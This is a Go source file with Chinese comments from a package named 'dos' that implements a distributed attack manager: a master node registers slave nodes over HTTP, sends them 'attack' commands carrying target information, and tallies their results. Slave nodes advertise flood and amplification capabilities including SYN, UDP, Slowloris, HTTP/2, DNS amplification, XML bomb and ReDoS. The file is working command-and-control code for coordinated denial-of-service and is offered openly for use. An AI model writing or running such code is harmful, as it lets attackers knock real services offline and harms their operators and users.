package dos

import (
	"context"
	"encoding/json"
	"fmt"
	"ip-parser/internal/logger"
	"math/rand"
	"net/http"
	"strings"
	"sync"
	"time"
)

// DistributedAttackManager 分布式攻击管理器
type DistributedAttackManager struct {
	nodeID      string
	masterNode  string
	slaveNodes  map[string]*SlaveNodeInfo
	commandChan chan NodeCommand
	resultChan  chan NodeResult
	httpServer  *http.Server
	httpClient  *http.Client
	mutex       sync.RWMutex
	masterMode  bool
	apiToken    string
	logger      *logger.Logger
	isRunning   bool
}

// NodeResult 节点执行结果
type NodeResult struct {
	NodeID     string                 `json:"node_id"`
	Success    bool                   `json:"success"`
	Message    string                 `json:"message"`
	Statistics map[string]interface{} `json:"statistics"`
	Timestamp  time.Time              `json:"timestamp"`
}

// NewDistributedAttackManager 创建新的分布式攻击管理器
func NewDistributedAttackManager(nodeID string, logger *logger.Logger) *DistributedAttackManager {
	// 创建HTTP客户端，设置超时
	httpClient := &http.Client{
		Timeout: 10 * time.Second,
		Transport: &http.Transport{
			MaxIdleConns:        100,
			MaxIdleConnsPerHost: 100,
			IdleConnTimeout:     90 * time.Second,
		},
	}

	return &DistributedAttackManager{
		nodeID:      nodeID,
		slaveNodes:  make(map[string]*SlaveNodeInfo),
		commandChan: make(chan NodeCommand, 100),
		resultChan:  make(chan NodeResult, 100),
		httpClient:  httpClient,
		apiToken:    generateAPIToken(),
		logger:      logger,
	}
}

// SetMasterMode 设置为主节点模式
func (m *DistributedAttackManager) SetMasterMode(enabled bool) {
	m.mutex.Lock()
	defer m.mutex.Unlock()

	m.masterMode = enabled

	if enabled {
		m.masterNode = m.nodeID
	}
}

// AddSlaveNode 添加从节点
func (m *DistributedAttackManager) AddSlaveNode(address string) error {
	m.mutex.Lock()
	defer m.mutex.Unlock()

	// 检查节点是否已存在
	for _, node := range m.slaveNodes {
		if node.address == address {
			return fmt.Errorf("从节点 %s 已存在", address)
		}
	}

	// 创建新的从节点信息
	nodeID := fmt.Sprintf("slave-%d", time.Now().UnixNano())
	slaveNode := &SlaveNodeInfo{
		id:             nodeID,
		address:        address,
		status:         "disconnected",
		capabilities:   []string{},
		attackCapacity: 0,
		lastSeen:       time.Time{},
	}

	// 添加到从节点列表
	m.slaveNodes[nodeID] = slaveNode

	// 尝试连接从节点
	go m.connectToSlaveNode(slaveNode)

	return nil
}

// connectToSlaveNode 连接到从节点
func (m *DistributedAttackManager) connectToSlaveNode(node *SlaveNodeInfo) {
	// 构建请求URL
	url := fmt.Sprintf("http://%s/api/connect", node.address)

	// 构建请求体
	requestBody := map[string]string{
		"master_node_id": m.nodeID,
		"api_token":      m.apiToken,
	}

	// 将请求体转换为JSON
	jsonData, err := json.Marshal(requestBody)
	if err != nil {
		m.logger.Error("连接从节点时JSON编码失败: %v", err)
		return
	}

	// 创建请求
	req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonData)))
	if err != nil {
		m.logger.Error("创建连接从节点请求失败: %v", err)
		return
	}

	// 设置请求头
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-Node-ID", m.nodeID)

	// 发送请求
	resp, err := m.httpClient.Do(req)
	if err != nil {
		m.logger.Error("连接从节点失败: %v", err)
		return
	}
	defer resp.Body.Close()

	// 检查响应状态
	if resp.StatusCode != http.StatusOK {
		m.logger.Error("从节点返回错误状态码: %d", resp.StatusCode)
		return
	}

	// 解析响应
	var response struct {
		Success      bool     `json:"success"`
		NodeID       string   `json:"node_id"`
		Capabilities []string `json:"capabilities"`
		Capacity     float64  `json:"capacity"`
	}

	if err := json.NewDecoder(resp.Body).Decode(&response); err != nil {
		m.logger.Error("解析从节点响应失败: %v", err)
		return
	}

	// 更新从节点信息
	m.mutex.Lock()
	defer m.mutex.Unlock()

	if node, ok := m.slaveNodes[response.NodeID]; ok {
		node.status = "connected"
		node.capabilities = response.Capabilities
		node.attackCapacity = response.Capacity
		node.lastSeen = time.Now()
	}

	m.logger.Info("成功连接到从节点 %s", response.NodeID)
}

// StartServer 启动API服务器
func (m *DistributedAttackManager) StartServer(port int) error {
	// 创建路由
	mux := http.NewServeMux()

	// 注册API路由
	mux.HandleFunc("/api/connect", m.handleConnect)
	mux.HandleFunc("/api/command", m.handleCommand)
	mux.HandleFunc("/api/result", m.handleResult)
	mux.HandleFunc("/api/status", m.handleStatus)

	// 创建HTTP服务器
	m.httpServer = &http.Server{
		Addr:         fmt.Sprintf(":%d", port),
		Handler:      mux,
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 10 * time.Second,
	}

	// 启动服务器
	m.logger.Info("启动分布式攻击API服务器在端口 %d", port)
	go func() {
		if err := m.httpServer.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			m.logger.Error("API服务器错误: %v", err)
		}
	}()

	m.isRunning = true

	return nil
}

// StopServer 停止API服务器
func (m *DistributedAttackManager) StopServer() error {
	if m.httpServer != nil {
		m.logger.Info("停止分布式攻击API服务器")
		ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
		defer cancel()

		if err := m.httpServer.Shutdown(ctx); err != nil {
			return fmt.Errorf("服务器关闭错误: %v", err)
		}

		m.isRunning = false
	}

	return nil
}

// ExecuteDistributedAttack 执行分布式攻击
func (m *DistributedAttackManager) ExecuteDistributedAttack(ctx context.Context, attackType string, targetInfo *TargetInfo, args map[string]interface{}) error {
	m.mutex.RLock()
	nodeCount := len(m.slaveNodes)
	m.mutex.RUnlock()

	if nodeCount == 0 {
		return fmt.Errorf("没有可用的从节点执行分布式攻击")
	}

	m.logger.Info("开始在 %d 个节点上执行分布式 %s 攻击", nodeCount, attackType)

	// 创建命令
	command := NodeCommand{
		command:    "attack",
		targetInfo: targetInfo,
		args:       args,
		nodeID:     m.nodeID,
	}

	// 向所有从节点发送命令
	var wg sync.WaitGroup
	results := make(chan NodeResult, nodeCount)

	m.mutex.RLock()
	for nodeID, node := range m.slaveNodes {
		if node.status != "connected" {
			continue
		}

		wg.Add(1)
		go func(nodeID string, node *SlaveNodeInfo) {
			defer wg.Done()

			result, err := m.sendCommandToNode(node, command)
			if err != nil {
				m.logger.Error("向节点 %s 发送命令失败: %v", nodeID, err)
				results <- NodeResult{
					NodeID:  nodeID,
					Success: false,
					Message: fmt.Sprintf("发送命令失败: %v", err),
				}
				return
			}

			results <- result
		}(nodeID, node)
	}
	m.mutex.RUnlock()

	// 等待所有命令完成或上下文取消
	done := make(chan struct{})
	go func() {
		wg.Wait()
		close(done)
	}()

	// 收集结果
	var successCount, failCount int

	select {
	case <-ctx.Done():
		return ctx.Err()
	case <-done:
		close(results)
		for result := range results {
			if result.Success {
				successCount++
			} else {
				failCount++
			}
		}
	}

	m.logger.Info("分布式攻击完成，成功: %d, 失败: %d", successCount, failCount)

	if successCount == 0 {
		return fmt.Errorf("所有节点执行攻击失败")
	}

	return nil
}

// sendCommandToNode 向节点发送命令
func (m *DistributedAttackManager) sendCommandToNode(node *SlaveNodeInfo, command NodeCommand) (NodeResult, error) {
	// 构建请求URL
	url := fmt.Sprintf("http://%s/api/command", node.address)

	// 构建请求体
	requestBody := map[string]interface{}{
		"command":     command.command,
		"target_info": command.targetInfo,
		"args":        command.args,
		"node_id":     command.nodeID,
	}

	// 将请求体转换为JSON
	jsonData, err := json.Marshal(requestBody)
	if err != nil {
		return NodeResult{}, fmt.Errorf("JSON编码失败: %v", err)
	}

	// 创建请求
	req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonData)))
	if err != nil {
		return NodeResult{}, fmt.Errorf("创建请求失败: %v", err)
	}

	// 设置请求头
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-Node-ID", m.nodeID)
	req.Header.Set("X-API-Token", m.apiToken)

	// 发送请求
	resp, err := m.httpClient.Do(req)
	if err != nil {
		return NodeResult{}, fmt.Errorf("发送请求失败: %v", err)
	}
	defer resp.Body.Close()

	// 检查响应状态
	if resp.StatusCode != http.StatusOK {
		return NodeResult{}, fmt.Errorf("节点返回错误状态码: %d", resp.StatusCode)
	}

	// 解析响应
	var result NodeResult
	if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
		return NodeResult{}, fmt.Errorf("解析响应失败: %v", err)
	}

	return result, nil
}

// API处理函数

// handleConnect 处理连接请求
func (m *DistributedAttackManager) handleConnect(w http.ResponseWriter, r *http.Request) {
	// 只接受POST请求
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 解析请求体
	var request struct {
		MasterNodeID string `json:"master_node_id"`
		APIToken     string `json:"api_token"`
	}

	if err := json.NewDecoder(r.Body).Decode(&request); err != nil {
		http.Error(w, "Invalid request body", http.StatusBadRequest)
		return
	}

	// 如果是主节点模式，拒绝连接请求
	if m.masterMode {
		http.Error(w, "This node is in master mode", http.StatusForbidden)
		return
	}

	// 设置主节点
	m.mutex.Lock()
	m.masterNode = request.MasterNodeID
	m.mutex.Unlock()

	// 准备响应
	response := struct {
		Success      bool     `json:"success"`
		NodeID       string   `json:"node_id"`
		Capabilities []string `json:"capabilities"`
		Capacity     float64  `json:"capacity"`
	}{
		Success:      true,
		NodeID:       m.nodeID,
		Capabilities: []string{"tcp", "http", "syn", "udp", "slowloris", "http2", "dns_amp", "xml_bomb", "regexdos"},
		Capacity:     1.0, // 默认容量
	}

	// 发送响应
	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(response)
}

// handleCommand 处理命令请求
func (m *DistributedAttackManager) handleCommand(w http.ResponseWriter, r *http.Request) {
	// 只接受POST请求
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 验证API令牌
	apiToken := r.Header.Get("X-API-Token")
	if m.masterMode && apiToken != m.apiToken {
		http.Error(w, "Invalid API token", http.StatusUnauthorized)
		return
	}

	// 解析请求体
	var command NodeCommand
	if err := json.NewDecoder(r.Body).Decode(&command); err != nil {
		http.Error(w, "Invalid request body", http.StatusBadRequest)
		return
	}

	// 将命令发送到命令通道
	m.commandChan <- command

	// 准备响应
	result := NodeResult{
		NodeID:     m.nodeID,
		Success:    true,
		Message:    "Command accepted",
		Statistics: make(map[string]interface{}),
		Timestamp:  time.Now(),
	}

	// 发送响应
	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(result)
}

// handleResult 处理结果请求
func (m *DistributedAttackManager) handleResult(w http.ResponseWriter, r *http.Request) {
	// 只接受POST请求
	if r.Method != "POST" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 验证API令牌
	apiToken := r.Header.Get("X-API-Token")
	if apiToken != m.apiToken {
		http.Error(w, "Invalid API token", http.StatusUnauthorized)
		return
	}

	// 解析请求体
	var result NodeResult
	if err := json.NewDecoder(r.Body).Decode(&result); err != nil {
		http.Error(w, "Invalid request body", http.StatusBadRequest)
		return
	}

	// 将结果发送到结果通道
	m.resultChan <- result

	// 发送响应
	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(map[string]bool{"success": true})
}

// handleStatus 处理状态请求
func (m *DistributedAttackManager) handleStatus(w http.ResponseWriter, r *http.Request) {
	// 只接受GET请求
	if r.Method != "GET" {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	// 验证API令牌
	apiToken := r.Header.Get("X-API-Token")
	if apiToken != m.apiToken {
		http.Error(w, "Invalid API token", http.StatusUnauthorized)
		return
	}

	// 准备状态响应
	m.mutex.RLock()
	status := struct {
		NodeID       string                    `json:"node_id"`
		MasterNode   string                    `json:"master_node"`
		MasterMode   bool                      `json:"master_mode"`
		SlaveNodes   map[string]*SlaveNodeInfo `json:"slave_nodes,omitempty"`
		IsRunning    bool                      `json:"is_running"`
		CommandCount int                       `json:"command_count"`
		ResultCount  int                       `json:"result_count"`
	}{
		NodeID:       m.nodeID,
		MasterNode:   m.masterNode,
		MasterMode:   m.masterMode,
		IsRunning:    m.isRunning,
		CommandCount: len(m.commandChan),
		ResultCount:  len(m.resultChan),
	}

	// 如果是主节点，包含从节点信息
	if m.masterMode {
		status.SlaveNodes = m.slaveNodes
	}
	m.mutex.RUnlock()

	// 发送响应
	w.Header().Set("Content-Type", "application/json")
	json.NewEncoder(w).Encode(status)
}

// 生成API令牌
func generateAPIToken() string {
	const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
	const length = 32

	seededRand := rand.New(rand.NewSource(time.Now().UnixNano()))
	b := make([]byte, length)
	for i := range b {
		b[i] = charset[seededRand.Intn(len(charset))]
	}
	return string(b)
}
